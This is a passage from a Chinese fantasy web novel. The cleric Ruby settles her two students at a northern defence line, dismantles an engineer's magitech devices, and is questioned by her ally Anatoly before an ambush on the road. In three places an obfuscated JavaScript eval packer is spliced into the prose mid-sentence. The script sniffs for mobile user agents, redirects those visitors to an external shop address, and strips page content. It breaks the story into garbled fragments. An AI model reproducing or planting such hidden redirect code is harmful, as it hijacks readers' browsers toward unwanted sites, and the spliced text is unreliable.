他说着有些委屈,会不会老师压根就没有考虑过他,虽说露比是二人的老师,但亚瑟才是神官候补,自己只是神侍,只是为了让他看着亚瑟才给他安排了这个任务?老师其实是偏心亚瑟的······ 尽管他知道露比对他俩一直都很公平,但事到关键之处却仍有这样的想法冒出来。 “你这话的意思是在说我偏心,让你给亚瑟陪跑?”露比皱了皱眉。 “不是······” “不是个鬼啊!”露比扶额。 “本来还说你比亚瑟稳重,怎么一到自己的事情那点心思全写在脸上。”她忍不住叹了口气。 “你以为神侍遴选上了就万事大吉吗?哪怕被选为神官候选人,最终能否成为正式神官还要看综合评分,你的魔法天赋在圣都没有用武之地,别的攻击型魔法、治愈系魔法出两次外勤分数就上去了,你要熬到什么时候?” 露比戳了戳他的脑门,他低着脑袋不再说话,露比看他这样子继续说。 “接下这个任务,你俩直接就是直属教会中央的监视官,执行任务时的职级和我几乎相同,哪怕任务结束后回到教会重新任职,考虑到这次任务的功劳,也不会任命低于神官候补的职位。而且泰西防线的魔兽探查工作是必须的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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露比看了一眼亚瑟那欠揍的嘴脸,只觉得心里有团无名火在冒。一把揪住了他,狠狠地在他的肩膀上来了两拳。 “你的脑子是怎么长的?啊?现在是什么场合,你这时候说这种话?知不知道你给我惹了多大的麻烦,我就是修理你修理得太少了!” “别打了,老师,明明你说我滚,还拽着我打,我滚还不成嘛?” 露比正骂得热闹,罗杰打断了她对亚瑟的教育。 “老师,不用再考虑两天了,我明白了,我留下。”他眼神坚定,看来下定了决心。 露比停止了手中的动作,看着自己这位一直颇有主见的学生,心情有些复杂,她朝他点了点头。 “嗯,等团长在教会给你们准备的监视官任命书上也签字后,你们俩就有了双重认证,可以顺利留在这里了。” 她说罢准备离开。 “等一下老师!” 罗杰喊道,露比停下了脚步。 “对不起!老师,我刚刚太着急了,我不该说您偏心的······我只是······我真的很想······” 他的舌头不知道为什么,就和打结了一般。 “不必多说,我都知道。” 露比朝他点了点头。 “你的能力、你的梦想我都知道······你会成功的,罗杰。只是不要这么心急。” 她笑着叹了口气。 “那就祝你们好运,老师只能陪你们走到这里了。” 她拉开了休息室的门。 “老师,你是要执行什么危险的任务吗?这样说感觉就像您活不到和我们再见一样。” “&*#@你这个小混蛋!” 亚瑟在实打实地挨了一击基础魔法攻击后倒地进入了梦乡,睡得非常安详。 11. 启程前夕 交接工作正在快速筹备,泰西防线极高的效率让露比感到无比惊讶。 “一周后就可以!这么庞杂的交接工作竟然这么快?” “为了提高应对高强度的魔兽袭击,我们的管理体制会更精简直接,天天面对生死攸关的事件,解决不了大家就等死,自然也不会踢皮球。” 阿纳托利笑着给她解释。 “高效得让人羡慕。” 露比发自内心地竖起了拇指。 “不谈防线的效率了,列昂尼德应该带你去库里检查过了,你对我们准备的魔兽结晶可否满意?” “满意满意……但你们怎么这么快就收集齐了?” “之前魔兽潮攒下了的。” 他云淡风轻地说道。 闻言露比很后悔,觉得自己当时应该再多要两颗的。 “你要魔兽结晶应该是为了开发魔导器吧。 “是的。”露比点了点头。 “我听斯捷潘说你对这种机械技术很感兴趣、看来他说的是真的。在我们出发前的这段时间你可以去斯捷潘的工作间参观一下,他的作品和样品都集中放在那里。” “但……这不是机密吗?” 露比抬头怯生生瞥了他一眼,阿纳托利很清楚这是试探的眼神,她觉得阿纳托利的提议是在试探她的诚意和立场。 “是机密,但无关立场,” 他说这话时,尽可能降低了语速,努力使自己的语气变得更加平缓, “先不提我们现在已经是合作关系了,哪怕不是,任何一位神官如果愿意了解我们的魔导器,我们都会欣然提供,在魔兽横行的当下。新型机械如果能推广,惠及的第一批人就是没有自保能力的平民,要是某天教廷那些保守派能放弃所谓的自然魔法就太好了……” 露比觉得他似乎总是带着一种不切实际的乐观,哪怕是说着难如登天的事情也可以不自觉地抿起嘴角。 “他这么说,想必之后魔导器研发项目的合作谈起来应该不会太难,不过太没有防备心可不是好事。” 她心想道,随后说出了自己的顾虑。 “但是如果被我看到了你们的新型武器呢?被教会知道其结构并且加以解析,一旦未来爆发战争你们可就不具有优势了。” “你倒是真的不避讳谈论战争啊,以你的立场,这样的发言是相当危险的。” 阿纳托利饶有兴趣地看着她,虽说是听内容是在警醒,但语气明明非常满意。 “抛开你我领工资的身份,我们之后几乎可以算生死与共的合作关系,我觉得这是必要的提醒义务。” 露比这话说得格外认真。 “感谢你的坦诚,这个不用担心,我们自然会有自己的底牌。所以放心大胆地去看吧,斯捷潘现在不在防线,说不定我们走的时候都回不来,你哪怕想上手拆也是可以的,只要你有本事装回去。” 既然最厉害的底牌不会给自己看,那么一些无关痛痒的玩具自己就笑纳了,于是露比放心大胆地去工作间“大快朵颐”。 她的两位学生已经接受了将会留在泰西防线的计划,在休息室内躺平,等待进一步的安排。 露比则抓住机会在工作室夜以继日地进修。 直到第四天,露比正在工作间拆得不亦乐乎,有人进来了。 斯捷潘看着地上七零八落的“残骸”忍不住皱起了眉。 “看来您玩得很尽兴,露比神官。” 是个人都听得出来其中压抑的不满。 哦豁,看来关于同意自己来这里研究机械,阿纳托利和斯捷潘并没有通过气。 啊,如果是这样的话,自己当着在斯捷潘面前拆了他的作品…… 他不会要把自己的头拧下来吧。 露比停下了手底下的工作,下意识摸了摸自己的脖颈,恨不得找个地缝钻进去。 “说好的暂时不会回来,明明只要今天结束了我就可以装回去……” 她在心里骂了阿纳托利千百遍,脸上赔着不太自然的微笑, “托您的福,我相当尽兴。阿纳托利长官说您许可了我随意研究此地的装置,您真的太慷慨了!” 露比面不改色地甩着锅。 “咱们可是未来生死相依唇亡齿寒的战友,这个锅只有你来背了。” 露比咬着牙心想。 这倒是把斯捷潘噎得说不出话来,他脸色不太好看。 露比估摸着对方总不至于朝自己这个善意第三人发火,估计他心里琢磨怎么之后捏死阿纳托利。 对方在快速平复了情绪之后缓缓开口。 “我刚从斯诺兰德核心区回来,阿纳托利长官让我来找您商讨关于您那两位跟班的事情。” “您请讲。”露比松了口气,看来拆装置这件事已经揭过了。 “您的两位跟班将会留在防线,我本是想把这两个小家伙软禁在休息室直到阿纳托利回来。” “这……太不人道了。” “他们没有生命安全,有好吃好喝的安乐窝,休息室联通室内花园还有娱乐设施,哪里不人道?” 露比沉默了,斯捷潘以为这人对自己的所作所为感到发指,毕竟南方的神官不乏圣母心泛滥之徒,听不得一点“囚禁”、“战争”、“屠杀”。之类的话,但如果就靠他们那虚无缥缈的仁慈能解决问题,也不会每天都有很多人死去。 他最讨厌高高在上的神明和这些伪善的羔羊。 但沟通还是需要继续的。 “露比神官不用担心,我也说了,这是原本……” “好,我觉得您刚才说的这个软禁的方案很好。” 露比忽然抬头盯着他,眼神充斥着某种情感,斯捷潘都怀疑自己是不是看错了,她似乎很羡慕。 “你们北方对间谍的待遇都这么好的吗?” “哈?” 斯捷潘觉得自己有些跟不上眼前这个人的思路。 “我这个一级神官休假都没有这样的待遇……” 她说这话的时候宛如泄了气的皮球。 “抱歉,露比神官,我的提议已经被阿纳托利否决了,他提议我们不必将这两位神官当作敌人,他们还没有见过教廷控制之外的世界,不如给他们一个机会。” “哦,您是怀柔,他是策反啊。” “虽然您的用词很不准确,但您似乎两位学生可能变为反教者并不意外。” “怎么说呢,与其说意外与否,对我而言,不如说这些事情不重要。只要能让人拥有力量、解决当前的困境,是神明还是人类我都不在乎。关键在于有没有实际作用。” “我似乎明白阿纳托利为什么敢和你合作了,你比我想象中还要离经叛道。” “多谢夸奖。” “关于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046831|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你那两位跟班,阿纳托利已经给我看了教廷的调令书,名义上他们会是监视官,但是具体工作将会重新分配,预计编入防控部、剿灭部。” “谁是负责人。” “我。” 露比突然抬头瞧着对方的脸,仔细打量,仿佛第一次见他一般。 “我以为你应该主要负责后勤的武器开发,后勤的机械师原来也可以上前线?” 斯捷潘叹了口气, “因为环境特殊,我比较多才多艺。” “你精通机械,甚至还懂战场规划,你如果能当罗杰和亚瑟的老师就太好了。” “我只是他们工作的负责人,我可没答应当他们二位的老师。” “……是我唐突了。” “那我默认您对于两位跟班的安排没有意见?” “当然没有,原本的目的就是借此机会让他们来避难,没想到还能学点东西我当然没有意见,” 露比低着头一边小心翼翼地拆下了一个装置零件,一边回答道, “而且我应该感谢你们二位,你其实没有必要过来问我,我和阿纳托利的合约是他保证我学生的安全就行,你们如此认真地安排还考虑我的意见,感激不尽。” 斯捷潘盯着她,夕阳的余晖已经从窗户漏了下来,泼洒在眼前这个拆了自己工作室的罪魁祸首的身上,她那头杂乱红色的卷发在夕阳下像一团火一般,脸上挂着毫不拘束的真诚笑脸,琥珀色的眼睛眯成了一条缝,左脸上粘了一道灰,倒是和她的雀斑十分相称。 她盘腿坐在地上,周围的残骸也在夕阳下熠熠生辉,机械设备的灰尘和润滑油让她神官的灰白袍看上去就像乞丐服一般滑稽, 总之,看着完全没有一位神官的样子。 而他也并不打算接受这样一位半吊子神官的感谢。 “客套的话就免了,露比女士,” 他捡起地上的残骸,递给了露比, “您不必感谢我,我并不在意您的感受或者两位跟班的生死,我来这里更不是专程来征询您的意见的,那不过是顺道的通知,我比较关心你是否能复原我的作品。” 露比深吸了一口气,伸手接过了零件残骸。 对方果然没那么容易放过她。 “可以的……当然可以,只是给我一点时间。” 露比最后磕磕巴巴地完成了组装,但当她完成的时候,窗外已经隐约亮了起来,深蓝色的天空和黑压压的山之间隐约浮起了白色的线。 天亮了。 她头昏脑胀,瘫在地上。 斯捷潘面不改色地放下手中的笔,瞥了一眼在地上已经无力顾及形象的露比。 他似乎对这位入侵者的惩罚很是满意,出于折磨的目的,督工了她一整晚后,带上了一点满意的笑意。 他从容起身,准备出门。 “不出意外您很快就会出发,在此之前您可以休息,祝您旅途愉快,希望下次我们还有机会见面。” “不必了,我害怕您。” 露比有气无力地挖苦了一句。 对方缓缓带上门,似乎轻笑了一声。 “那还真是荣幸至极。” 整个工作间只剩下了露比一个人,周围围绕着完整的器械。 她缓缓闭上眼睛, “维曦女神庇佑,我再也不想见到这个小心眼的家伙。” 12. 险些穿帮 在出发前,露比将路上可能遇袭的顾虑告知了阿纳托利,由于露比携带的防御装置能够覆盖的人员有限,阿纳托利决定兵分两路。 阿纳托利、露比二人先行,列昂尼德和娜塔丽娅等随行人员走另一条路,他们会在离圣都不远的据点汇合。 北方目前的应用魔导器相当发达,已经有了可以自动驾驶的交通工具,露比非常期待地去看这个新型载具,却有些失望,远远看去仍然是寻常马车。 “不是说这是魔导车?怎么是靠马拉呢?” “车的动力源在四个轮子,马主要是为了调整方向。” “所以这匹马不用人驾驶?” “严格意义上来说,这不是马,不过是仿照马形态的魔导器,对了,他的名字叫提拉米苏。” 阿纳托利一本正经地给她介绍,提拉米苏似乎意识到提到了自己,转过头来盯着二人。 “简直不可思议。”露比凑了过去,手放在了提拉米苏的脖子上。确实不像活物,只有金属冰冷的质感。 就在露比在心中感叹这东西做的逼真时,这匹马竟然低下脑袋嚼起了她的头发。 “真的只仿照了马的外形吗?我怎么觉得连习性也保留了?” 她有些无语地把头发抽了回来,提拉米苏发出了不满地声音,把头继续凑了过来,露比朝它头上拍了一下。 “而且既然动力问题解决了,方向装置不一定做成马的样子吧,直接和动力系统做到一起,不是更节约能源?” 露比忍不住质疑。 “但斯捷潘觉得这样会更有趣,难道不是吗?” 露比眼中闪过一丝惊讶,随后拍了拍提拉米苏硬邦邦的脑袋笑了起来。 “嗯,说的也是。” 告别仪式没有露比想象的复杂,守护者伊莉雅秘密来到了泰西防线,听说主要是为了来视察魔兽潮的损失情况,顺便来送一送阿纳托利。 这位女士似乎有忙不完的事情,只在二人快要出发时才短暂地露面。 送别的人群本来是一团,忽然自动地就让出了一根道,她从人群中缓缓走出。伊莉雅身形高挑,整个人罩在厚重的毛毡斗篷中,走近一些后她才放下斗篷的兜帽,露出那张被风吹红的脸。 她的着装看着沉闷而庄重,反而衬得她明艳张扬的样貌更加突出。 如月光般的银发有一半披散在身后,另一半被高高挽起,脸部轮廓完美得就像露比在艺术展上看到的雕塑一般,最让露比吃惊的还是她的那双眼睛,远看整个人庄重而凛冽,直到看到那双红色的眼睛,仿佛是雪中的一团火,有种难以言说的生命力。 她含笑盯着阿纳托利,不像是依依不舍地送别,到像是无比普通的闲聊。 “走啦?” 她笑着问,声音很轻。 “嗯,走了。” “快滚吧,泰西防线因为你一天到晚搞新的魔导器实验,预算都比往年多了两倍不止。” 她仍然笑着,但眼里仿佛有一丝嫌弃。 “就知道算我头上。” 阿纳托利无奈地摇头。 “活着回来。” “知道了。” 他冲她淡然一笑,随即上了车。 伊莉雅收起了笑容,紧抿着唇,深深地看了他们一眼,利落地转身离去,仿佛没有一点不舍。 露比听着兄妹两人这样的对话,忍不住流露出吃惊的神色。 虽然只是短短一瞬间,观察到此的阿纳托利还是耐心地给她解释。 “虽然可能感觉很奇怪,但这就是我们两人的相处方式。我们是名义上的兄妹,我的存在给她挡过灾,也挡过她的路。当年我代替她这个真正的继承者去了南方,后来我们一起阻止了北方魔兽防线的溃败,但尘埃落定后,我们不可避免地要处理最棘手的问题。” “谁来做北方的领主?” 露比试探地问道。 “对。” 阿纳托利微笑着。 “虽然现在已经处理好了,但是你也看到了,我和她之间的关系不可避免地会变得有些微妙,而且她也不擅长表达自己的感情,所以在交流时会有些别扭。” “原来如此……” 这样解释的话,露比大概能理解阿纳托利和伊莉雅的尴尬关系。 阿纳托利只是名义上的养子,但是南下当人质、平定魔兽潮与叛乱这些事情为他积累了太多名望和军队里的支持,伊莉雅女士虽有直系血统,被更多小领主和贵族选择,但在继承爵位前并没有太多实际功勋。二人在弗洛斯特新旧交替的战争中缺一不可,但之后不可避免地会忌惮彼此。 露比抬头看着这个挂着温和笑容的同伴。 “诶?要是当时坐上领主位置的人是你,现在会怎么样呢?毕竟从法律上来讲你也是有继承权的。” 她一副看热闹不嫌事大的样子。 “哈哈,那我一定会从斯诺兰德最高的塔上跳下来,这可不是什么好差事。” 他忍不住摇着头笑出了声。 “比防御团长还难做?能比你现在的处境更难吗?” “每个人都有最适合自己的位置,现在就很好。” 他轻飘飘地结束了这个话题, 露比正想再问两句,突然意识到阿纳托利给自己说这些有些交浅言深了,询问太多怕是有失言的风险,在简单回应后便选择了缄默不言。 两人沉默了好一会儿,最后还是阿纳托利打破了这个平静。 “我已经给你说了不少关于北方的事情,你不如也解答一下我的疑惑如何?” “我只是驻地神官,所知有限。” 露比搪塞道。 “没事,就说你知道的就好,我不会为难你。” “你想知道什么?” “你当年真的来过北方吗?” 他目光如炬,露比心中一咯噔。 不知道他是从哪里发现了端倪,竟然有了疑心。 自己当年和莱安娜私下交换了项目,但是据莱安娜所说,她来北方时并没有和阿纳托利见过面,因此他此时发问应当只是试探。 想到这里露比多了几分底气,坦然反问起来。 “您为什么会这么问?教廷当时分配的任务是完全公开的,魔法记录不可能伪造,还是说您需要我再证明一下我是露比神官本人。” 她面不改色,但手心已经有了一层薄汗。 “那些记录自然无法伪造的……但为什么您会在我们上次交涉时说‘我自愿来守泰西防线呢?’,看到伊莉雅和我的关系也会如此惊讶,如果您真的来过北方,怎么会对其中内情毫不了解?” 露比意识到了破绽所在,但没关系,这并不算确凿的证据。 “我为什么要知道这些事?” 露比继续理直气壮地反问。 “我当时来北方是为了通过主教试炼的考核的,我只关心考核结果,你指望一个来考试的外乡人对你们北方的复杂关系了如指掌?得了吧,行动方案和天数我倒是现在还记得清楚,需要我向您复述吗?” 阿纳托利似乎对她干净利落的回复很失望。 “不用了……” 他移开了目光不再言语。 露比看着沉默的阿纳托利,知道自己勉强算是过关了。 阿纳托利怀疑上她后,完全可以若无其事地套话,自己说不定会在其他细节上露马脚。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046832|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此时没有确凿证据时就直接发问,也算是出于对合作者的信任,给她主动坦白的机会。 “还真是坦诚的合作者,不过对不起啦,但我答应过莱安娜要隐瞒此事,而且知道这事对他百害而无一利,我应该也不算恶意欺诈……” 还没等她做好心理建设,阿纳托利再一次开口。 “那能给我讲讲教廷的事情吗?露比神官。” 听到这个称呼,露比只觉得背后一凉。 一直很放松的人突然正式地称呼她的职务,怕是要问什么麻烦的问题。 “你想知道什么?” “你和莱安娜主教关系如何?” 看来他并没有打消怀疑,露比甚至怀疑他是不是知道什么内情,但还是硬着头皮斟酌着回答。 “我们曾是朋友。” “曾是?” 阿纳托利皱了一下眉。 “对,我们在奥利弗学院时是同学,有一面之缘,在一次联合测试中她帮过我,那时候我们关系还不错,但后来她成了主教,变成了我的直属上级,我们的私人关系也慢慢淡了。” 她一面说着,一面挤出了一个无可奈何的笑容。 露比自认为这个说辞相当合理。 莱安娜作为东部辖区的主教,自己要是说一点联系都没有那反而蹊跷,说半生不熟公事公办是最安全的。 她现在必须隐藏好自己和莱安娜的联系,之后回了圣都还要劝诫阿纳托利和莱安娜划清界限,莱安娜力排众议正在进行魔导器的改良计划,不宜和代表北方的阿纳托利有太多联系,届时只会引起更多忌惮,既会让方案受到更多阻力,也不利于阿纳托利在南方平安度日。 阿纳托利转过头去,若有所思,犹豫了一会儿。 “莱安娜主教遇袭一事,现在找到凶手了吗?” 露比没想到他会问这个问题。 “联合调查还在继续,目前……” 露比顿住了,猛地抬起头,阿纳托利正若无其事地看着窗边。 此事教廷已经封锁,阿纳托利能够知道说明北方的眼线不少,但作为普通神官的自己也知道就有问题了。 “该死,原来在这等着我上套呢。” 露比在心中暗骂。 “目前没有太多头绪,这些也是我在接手莱安娜部分工作时,西尔维娅主教通知的,您会问我这个问题,看来北方的消息很灵通嘛。” 她只能面不改色地将原因往交接工作上甩。 阿纳托利盯着她观察了一会儿,似乎终于相信了她的说辞。 “北方消息再灵通也没有你们教皇那么耳清目明,钉子都直接往泰西防线中心塞。” 露比知道他在说自己那两个倒霉学生,有些心虚地低下头。阿纳托利也见好就收地把话题绕了回来。 “莱安娜遇袭一事你既然清楚,有什么想法吗?” “我的想法?我一个普通神官能有什么想法。” 她自嘲地笑了笑。 “不过嘛,魔导器改良项目确实有很大的风险,如果不具有魔力也能使用魔导器,平民就不再需要教廷和贵族的庇护了。自从莱安娜推动魔导器改良方案以来,想杀了她的人应该不在少数,目前嫌疑最大的是维克多主教,但也没有任何确切的证据,没法拘禁他。” 她无奈地摊了摊手。 “那她现在怎么样了?” “魔法师的弱点只有心脏,现在魔力疗愈技术这么发达,只要有充足的魔力很快就能痊愈,据西尔维娅主教所言她应该快就会恢复,因为我只用接手不到一个月的工作。” 回答完问题,露比才后知后觉。 这人是在关心莱安娜吗? 13. 遇袭 “你为什么对莱安娜主教如此关心?” 她一副毫不知情的样子。 “多年前我在圣都当人质的时候,我们是很好的朋友。” 但阿纳托利没有什么隐瞒,大大方方地承认了。 “哎呀!这人好歹掩饰两句啊!怎么都不撇清下关系?我刚才暗示莱安娜的处境还不够明显吗?等回了南方他如果还是这种态度,只会更麻烦。” 露比心中盘算着要怎么警告他。 “我对二位的交情不感兴趣,但莱安娜主教现在处境并不乐观,您去了圣都最好和她保持距离,别掺合主教之间的那些糟心事。” 她那双琥珀色的圆眼睛难得露出如此有严肃的神情。 “您别说得我对主教之间的那些扯皮很感兴趣好吗?” 阿纳托利没好气地笑了笑。 “我只是需要确定下眼前教廷是什么情况,这不是才方便我在南方苟且偷生吗?” 他仍然带着漫不经心的浅笑。 “苟且偷生?你如此关心教廷的争斗,可不像是苟且偷生的态度。” 露比环抱双手,向后靠在了垫子上。 “伊莉雅公爵应该希望你保持绝对中立,这样才是最安全……” “最安全到什么时候呢?” 阿纳托利打断了她的话,脸上的笑容已经消失了。 “是安全到伊莉雅举兵独立,还是安全到魔兽潮问题需要一个第一责任人?” 他盯着露比,语气很平静,但灰色的眼中是一种相当冰冷的神色 “你们南方的魔兽潮相当严重,莱安娜、维克多两个高阶魔法师都没有完全压下去,让我这个人质接任魔兽防御司司长一职,很难不让我怀疑这是个替死鬼岗位;再者,维斯特利亚不过是出于缓兵之计才和伊莉雅达成了暂时和平,一旦伊莉雅觉得时机成熟,势必联合北地所有领主独立,你说到那天,我还有活路吗?” 露比一时语塞,阿纳托利在担心伊莉雅把自己当作弃子,但这有可能吗? “如果我不自己主动谋求生路,真的按照伊莉雅的安排,和所有神官划清界限,自然不会给北地的她带来任何麻烦,我处于孤立无援的状态,且不论能不能从魔兽潮治理工作的陷阱中活下来,只要南北开战,我的头就会第一个被拿去祭旗。” “但你这些年立下的功劳不少,泰西防线、北方防御团是你和老团长阿列克谢亲手从“大溃散”中救回来的,以你在军队、北地的声望,伊莉雅如此待你难道不怕军队哗变,民心尽失?” 露比感到有些困惑。 “这才是原因,你觉得伊莉雅这种说一不二的领导者会允许有人的威望盖过她吗?” 他叹了口气。 “而且如果我死在南方教廷的手里,她甚至可以利用这点煽动军队的情绪……她不用亲自动手,对外还能继续用我们名义上的兄妹情。” “你的处境比我想象得还要糟糕……” 露比忍不住感叹。 “太惨了,这不纯纯来送死的吗?亏得莱安娜还计划让他置身事外平安回北方,谁知道人家妹妹说不定到时候会见死不救呢?” 露比在心里深切同情了这个倒霉蛋,也确认了当前情况有变,恐怕莱安娜知道阿纳托利的处境后会变更计划。 “所以露比你现在应该明白了,如果按照我妹妹的指示,老老实实地待在南方执行她的任务,那才是死路一条。” “那你现在想怎么办?” “我需要了解教廷眼前的局势,然后支持某位候选人,教皇更换应该就是这几年的事情,魔兽防御司虽说是个陷阱,但好歹是个附带了权限的陷阱,如果能和某位教皇候选人达成合意,我协助此人登上教皇的宝座,她在北方自治一事上适当让步,同时放我回北方制衡伊莉雅,此时就能达成微妙的平衡。” 露比消化着他的计划,思考良久后问道。 “你的计划很危险,而且我不明白你的目的,如果是想要活下去,最好的选择是等支持的候选人成为教皇后,你继续留在南方才对吧?那时候哪怕开战,你也不会……等等,你的目的是为了阻止爆发战争!” 阿纳托利没有说话,只是微微点头,仿佛这是个沉重得难以用语言表述的想法。 “你疯了吗?南北冲突的根源在于中央和北方领主们管辖权上的冲突,过去是因为皇帝和领主的冲突,皇室式微后,又是教廷对魔法师控制权限的争议。这场战争早晚都会爆发,你我都挡不住。” 露比言辞激烈,对方的想法在她看来无异于螳臂当车。 “不是,咱们早点退休不好吗?那是我们改变不了的东西,这又有什么意义呢?” “但哪怕晚一天也是有意义的,至少在我活着的时候,不愿意让老团长一手组建的防御团成为杀人的兵器,哪怕和平的时间只是漫长历史的一瞬,若是能延长一分,对于手无寸铁的人也是有意义的。” “我没想到……你还真是个理想主义者。” 露比捏了捏自己的鼻梁。 “但纵观帝国历史,理想主义者结局都差不多。”露比眼神暗了下去。 “哦?” “不得好死。” 露比看他就如同在看一位殉道者。 “哈哈,那我争取活久一点。” 他倒是没有因为露比直率的告诫而感到不快,反而像听到一个玩笑一般笑了起来。 “露比你一直很坦诚,所以我决定把我的计划全部告诉你,要不要在这件事上也和我合作,我们一起支持某位候选人,大家都有光明的未来。” 露比对他的提案没有发表意见,似乎在考虑。 她的内心正在纠结,毕竟答应过莱安娜要对阿纳托利保密,同时尽可能让阿纳托利置身事外,但现在情况有变,她们似乎都估计错了阿纳托利的处境,自己面对阿纳托利主动入局的计划应当表现什么样的态度呢? “我得考虑一下,一切还是等到了南方再从长计议吧。” 说罢便别过头去。 阿纳托利见状,猜测对方还需要一些时间,继续开口道, “话说回来,几位教皇候选人中,如果真要选,露比你应该更倾向莱安娜吧。” 露比警惕地抬起头。 “为什么这么猜?” “虽说教廷资料上你负责的是农用机械的研究,但在泰西防线我能看出你对魔导器很感兴趣,莱安娜在推动魔导器改良的方案,虽说和你研究的方向并不相同,但没准你会感兴趣呢?” “或许吧,但还不能这么轻率地做决定。” 露比搪塞道。 阿纳托利点头,随后他似乎又想到了什么, “你对魔导器感兴趣,那你觉得斯捷潘的发明怎么样?” 不知道是不是错觉,他感觉露比的脸肉眼可见地黑了下去。 “他的发明……很好。” 她很僵硬地给了阿纳托利答复,没有再多说一个字。 “不对。”阿纳托利暗想,“一个对魔导器感兴趣的家伙,没有道理不对斯捷潘的作品赞不绝口,一定有问题。” “你能不能告诉我,你为什么讨厌斯捷潘,他哪里得罪你了?” 他笑眯眯地看着露比,但这种八卦的语气让露比极其不爽。 “也不算得罪,我只是觉得他这种人严格得可怕,他竟然威胁我,要我在一晚上把之前几天拆的机械重新组装好!” “他用什么威胁你?” “就……不是具体的,他就一直杵在那里,他虽然没有说话,但我有预感,如果我不开始熬夜开工他会杀了我。” “对!对!对!就是这种感觉,就是这种沉默的压迫感,” 阿纳托利似乎也深受其害,连忙点头附和, “我每次因为经费原因,想要延期工程部的方案时,他就会一言不发地盯着我……我有什么办法?” 他说到此处竟然哭笑不得地抱怨了两句。 “是吧是吧……等等。” 露比的脸由晴转阴。 “还没和你算账,要不是你说可以随便拆,我根本不会动那些玩意儿好吧。斯捷潘之后没有找你算账?” “没有啊,或许是因为折磨过你气已经消了,谢谢你哦。” 露比梗住了,合着倒霉的只有她一个人。 “但是你倒是不必因为这件事对斯捷潘有偏见,‘我工作室里的作品谁想拆都可以,只要有本事装回去就行。’这话就是他说的,给你施压让你装回去,其实也是想看看你的魔导器的了解程度,我觉得他应该已经认可你了。而且关于你那两个学生的去处就是他建议的。” 露比回忆起斯捷潘在工作室里一本正经地否认自己是专程来询问她的意见,反复强调只是顺便。 “原来他是这种不坦率的类型呢……” 露比忍不住在嗤笑。 正当阿纳托利满脸狐疑地盯着露比的时候,露比忽然伸手,用力地拍了拍他的肩膀。 “你真惨,原来你情绪这么敏感是因为身边全是一副口是心非的人。” 阿纳托利想要辩解两句,他没这么可怜,但一口气堵在了嗓子眼,意识到自己无力反驳, “你说的对……” 他无奈地叹了口气。 “按照阿纳托利你这个说法,斯捷潘没准愿意好好带我的两个倒霉学生,他真的很厉害,一个后勤部的工程师竟然可以上前线,接替你防控部的工作。” “与其说是接替我的工作,不如说他重新回到了原本的岗位。” 阿纳托利说这话的时候格外地认真, “因为他本来就是一线战士,八年前,北方旧贵族懦弱的后撤行动导致了‘大溃散’的悲剧,斯捷潘在那时选择坚守在没有后援的泰西防线,也就是那时他的失去了右臂。在我支援并接手泰西防线后,他就从前线调到了后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046833|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勤部。他是位有才华的工程师,更是一位英勇的战士。” “竟然是这样。” 露比想起自己当时和斯捷潘的对话,自己还问了‘后勤的机械师还可以上前线的话’。 “我可真该死啊……之后可得好好找个机会给他道歉。” 露比暗想。 “对了,阿纳托利,我还想问一下,关于斯捷潘……” “嘘。” 阿纳托利做了个噤声的手势,露比立刻闭嘴,并且掏出了准备好的防御装置。 “不是,真的有来搞破坏的啊?”她在心里骂了两句, 除了马车缓缓前进发出的声音外,周围万籁俱寂,仿佛一切只是阿纳托利的错觉。 “小心头顶!” 阿纳托利冲露比喊道,露比快速地朝着防御装置注入魔力,球状装置上的纹路爬满了金色光芒,如同有了生命一般快速地展开外壳,并在有规律地律动,但很可惜,这个速度还是慢了一步。 没有等她完全展开防御装置,危险已经逼近。 “哐!” 一把银色的长剑横在了露比眼前,挡住了刚刚一瞬间从车顶缝隙刺入的藤蔓。 就在下一瞬间,露比完成了防御装置的解除魔法,由这个小球为核心展开了一个球状领域将阿纳托利和露比包裹起来,就在同一时间,车被无数藤蔓撕裂,隔着破碎的墙壁,露比能看到“提拉米苏”被贯穿,能源核心被破坏,它很快崩解,金属外壳一片片砸到了地上。而无数藤蔓还在源源不断地从树林中、地面窜出,朝防御领域刺来,发现刺不破魔法壁,便如同蛇一般试图将球状的领域包裹控制。 “见鬼啊,有病啊,这么恶心的招数。” 趴在防御领域内的露比忍不住吐槽,一边骂骂咧咧,一边朝手中的核心小球不断注入魔力调整模式。 